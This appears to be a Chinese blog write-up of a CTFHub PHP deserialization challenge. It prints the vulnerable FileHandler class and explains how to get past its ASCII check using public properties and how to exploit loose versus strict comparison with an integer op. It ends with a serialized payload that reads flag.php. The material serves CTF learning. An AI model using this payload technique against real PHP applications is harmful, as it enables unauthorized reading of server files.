• CTFHUB


     经典的PHP反序列化

    打开题目  直接给出了代码让我们分析

     

    include("flag.php");

    highlight_file(__FILE__);

    class FileHandler {

        protected $op;
        protected $filename;
        protected $content;

        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }

        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }

        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }

        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }

        private function output($s) {
            echo "[Result]:
    ";
            echo $s;
        }

        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }

    }

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }

    if(isset($_GET{'str'})) {

        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }

    }
    [Result]:

    然后我们需要逐一进行

    1.先分析is_valid函数 代码通过控制read()读取flag.php的内容

    代码通过控制read()读取flag.php的内容 判断$s变量的ascii码字符是否是32到125(也就是可显示的字符串)是的话就返回true

    2.分析主程序

    接受get传入的str变量  转换为字符串  然后使用is_valid函数进行验证是否是合法的字符串  是的话就进行反序列化

    3.分析__destruct函数

    判断op变量是否为字符串2  注意这里是强等于  如果是的话就将op置为字符串1  然后将content置空  执行process函数  将op赋值为数字2  if判断自然就会返回false  从而达到绕过的目的

    4.分析process函数

    判断op是否为字符串1或2  注意这里是弱等于 也就是  判断时会自动将两边的变量类型转换为一样 只要我们将op置为数字2  那么这里的第二个if中的弱等于就会返回true  从而执行read函数  并将结果输出

    5.分析read函数

    读取filename文件的内容并返回  很显然我们序列化时要将filename设置为flag.php

    我们需要绕过两个地方:

    1、is_valid()函数规定字符的ASCII码必须是32-125  而protected属性在序列化后会出现不可见字符\00*\00  转化为ASCII码不符合要求

    绕过方法:

    ①PHP7.1以上版本对属性类型不敏感  public属性序列化不会出现不可见字符  可以用public属性来绕过

    ②private属性序列化的时候会引入两个\x00  注意这两个\x00就是ascii码为0的字符  这个字符显示和输出可能看不到  甚至导致截断  但是url编码后就可以看得很清楚了  同理  protected属性会引入\x00*\x00  此时  为了更加方便进行反序列化Payload的传输与显示  我们可以在序列化内容中用大写S表示字符串  此时这个字符串就支持将后面的字符串用16进制表示

    2、__destruct()魔术方法中  op==="2"是强比较  而process()使用的是弱比较op=="2"  可以通过弱类型绕过

    绕过方法:op=2  这里的2是整数int类型  op=2时  op==="2"为false  op=="2"为true

    构造一下序列化的执行语句

       
    class FileHandler {
     
        public $op = 2;
        public  $filename = "flag.php";
        public  $content = "oavinci";
    }
     
    $a = new FileHandler();
    $b = serialize($a);
    echo $b;

    运行结果

     O:11:"FileHandler":3:

    {s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

    传参  得到flag

  • 相关阅读:
    108.firefly-sdk下生成recovery.img
    【JDBC】-- PreparedStatement实现数据库查询操作
    【微电网重构】基于粒子群算法实现IEEE33节点系统进行配电网重构 前推回代计算潮流附matlab代码
    Actipro WPF Controls 22.1.3 -new-注册版
    如何进行高效会议
    SpringBoot学习笔记(五)IOC
    第六章:Property-based Testing and Test Oracles
    使用jmeter对接口进行简单测试
    【Java面试】面试遇到宽泛的问题,这么回答就稳了,谈谈你对Redis的理解
    uniapp中使用图片网络路径使用不了解决方法
  • 原文地址:https://blog.csdn.net/m0_57954651/article/details/126241357